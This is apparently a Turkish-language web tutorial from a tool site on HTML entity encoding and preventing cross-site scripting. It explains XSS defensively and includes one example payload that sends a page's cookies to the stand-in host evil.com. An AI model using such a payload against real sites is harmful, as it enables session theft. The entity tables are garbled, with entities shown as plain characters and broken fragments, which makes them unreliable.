HTML Varlıkları ve Kaçış: Doğru Kodlama XSS Saldırılarını Nasıl Önler?

HTML varlık kodlaması, özel karakterleri (<, >, &, ", ') güvenli temsillere (< > & " ') dönüştürür. Bu, web sayfalarında kullanıcı girişi görüntülenirken Siteler Arası Komut Dosyası Çalıştırma (XSS) saldırılarını önler.

HTML entities encoding preventing XSS injection with special character conversion diagram

HTML Varlıkları Nedir?

Browser DOM parser execution difference between innerHTML and safe textContent

Core XML and HTML escape entities table showing less-than, greater-than, ampersand, and quotes

HTML varlıkları, HTML işaretlemesinde özel anlamı olan karakterlerin temsilleridir. Kodlanacak en kritik beş karakter:

KarakterHTML VarlıkAdlandırılmış VarlıkNeden Tehlikeli
<<<Açılır HTML etiketler
>>[ >Kapanıyor HTML etiketler
&& &Başlıyor varlık referanslar
"&qu ot;"Kapanır nitelik değerler
'' 'Kapanıyor özellik değerleri

Ortak ekran varlıkları:

[
KarakterHTML VarlıkAnlamı
©&kopyalaTelif Hakkı
®®Kayıtlı ticari marka
™™Tr ademark
→→Sağ ok
←←Sol ok
••Bu llet
——Em tire
––Tr tire
  Kesilmez boşluk
€€Euro imzala

XSS Saldırıları Nasıl Çalışır ve Kodlama Bunları Nasıl Önler

Cross-Site Scripting XSS attack surface architecture showing reflected, stored, and DOM vectors

Siteler Arası Komut Dosyası Çalıştırma (XSS) en yaygın web güvenlik açıklarından biridir. Saldırgan tarafından kontrol edilen veriler bir web sayfasında düzgün bir şekilde kaçış yapılmadan görüntülendiğinde meydana gelir.

Örnek güvenlik açığı: Bir arama sayfası şunu görüntüler: "Aradığınız şey: [kullanıcı girişi]" Saldırgan şunu gönderir: <script>document.location='https://evil.com/?cookies='+document.cookie</script> Kodlama olmadan, tarayıcı bu komut dosyasını çalıştırarak oturum çerezlerini çalar.

Doğru HTML varlık kodlamasıyla: <, < olur ve > olur >. Tarayıcı, ham metni kod olarak yürütmek yerine görüntüler.

Bu neden önemli: OWASP'ın yıllık raporu, XSS'yi sürekli olarak en iyi 10 web güvenlik açığı arasında sıralıyor. Büyük ihlaller, oturum belirteçlerini çalmak, web sitelerini tahrif etmek ve kullanıcıları kötü amaçlı sitelere yönlendirmek için XSS'den yararlandı.


ToolDolfen'de HTML Varlıklarını Kodlama ve Kod Çözme

Safe versus unsafe HTML code execution and rendering benchmark

ToolDolfen in-browser HTML entity encoder and decoder client-side workflow

Şunları yapmak için ToolDolfen HTML Varlıkları aracını kullanarak şunları yapın:

  1. HTML'yi kodlayın: Kullanıcı tarafından gönderilen içeriği, API yanıtlarını veya bir HTML belgesinde görüntülenecek herhangi bir dizeyi yapıştırın. Araç, tüm tehlikeli karakterleri güvenli varlık referanslarına dönüştürür.
  1. Varlıkların kodunu çöz: Orijinal karakterleri görmek için varlık kodlu HTML'yi yapıştırın — API yanıtlarında veya şablon motorlarında kaçan içerikte hata ayıklarken kullanışlıdır.

Kodda: Uygun arka uç çerçeveleri yerleşik HTML kodlama işlevleri sağlar:

  • PHP: htmlspecialchars($text, ENT_QUOTES, 'UTF-8')
  • Python: html.escape(text)
  • Node.js: he gibi bir kitaplık kullanın veya varlıklar
  • .NET: HttpUtility.HtmlEncode(text)

Önerilen Yardımcı Kılavuzlar

Dijital iş akışınızı geliştirmek için bu konu kümesindeki tamamlayıcı eğitimleri ve yardımcı programları keşfedin:

CSV'yi JSON'a dönüştürme: Tür Ayrıştırma, İç İçe Yerleştirilmiş Nesneler ve Başlık İşlemeDoğrulanmış standartlar ve tarayıcı içi ile pratik adım adım eğitim iş akışları.Yuvalanmış JSON'u Düz CSV'ye Dönüştürme: Karmaşık Veri Yapılarını YönetmeDoğrulanmış standartlar ve tarayıcı içi ile pratik adım adım eğitim iş akışları.Modern Favicon Kılavuzu: ICO, PNG, SVG ve Web Uygulaması ManifestleriDoğrulanmış standartlar ve tarayıcı içi ile pratik, adım adım eğitim iş akışları.OCR: Optik Karakter Tanıma, Görüntülerden ve PDF'lerden Metni Nasıl Ayıklar?İlgili verileri ve medyayı birbirine bağlayan tamamlayıcı çapraz formatlı iş akışı araçlar.
Önerilen Yardımcı Program: HTML Entities EncoderBu iş akışını, sıfır sunucu yüklemesi ve %100 istemci tarafı gizlilik ile tarayıcınızda canlı olarak yürütün.
HTML'yi kodlayın Varlıklar →
HTML Varlıkları Kodlayıcı (HTML Entities) (Html Entities)

Sıkça Sorulan Sorular

Bu iş akışıyla ilgili yaygın sorulara hızlı ve doğrulanmış yanıtlar bulun.

Telif hakkı simgesinin HTML varlığı nedir?

© veya ©, © telif hakkı sembolünü oluşturur. Hem adlandırılmış varlık (©) hem de sayısal varlık (©) tüm tarayıcılarda çalışır.

HTML varlık kodlaması URL kodlamasıyla aynı mıdır?

Hayır. HTML varlık kodlaması, HTML belgelerinde güvenli görüntülenme için karakterleri dönüştürür (< = <). URL kodlama (yüzde kodlama), URL'lerde güvenli kullanım için karakterleri dönüştürür (%3C = <). Her ikisi de aynı karakterleri dönüştürür ancak farklı gösterim ve farklı bağlamlar kullanır.

Modern JavaScript çerçeveleri otomatik olarak HTML'den kaçar mı?

Evet — React, Vue, Angular ve Svelte'nin tümü, metin içeriği oluşturulurken varsayılan olarak HTML'den çıkar. Modern SPA'lara yönelik XSS saldırılarının daha az yaygın olmasının nedeni budur. Ancak, innerHTML, tehlikeli bir şekilde SetInnerHTML (React) veya v-html (Vue) kullanılması bu korumayı atlar.

Bilal Ahmad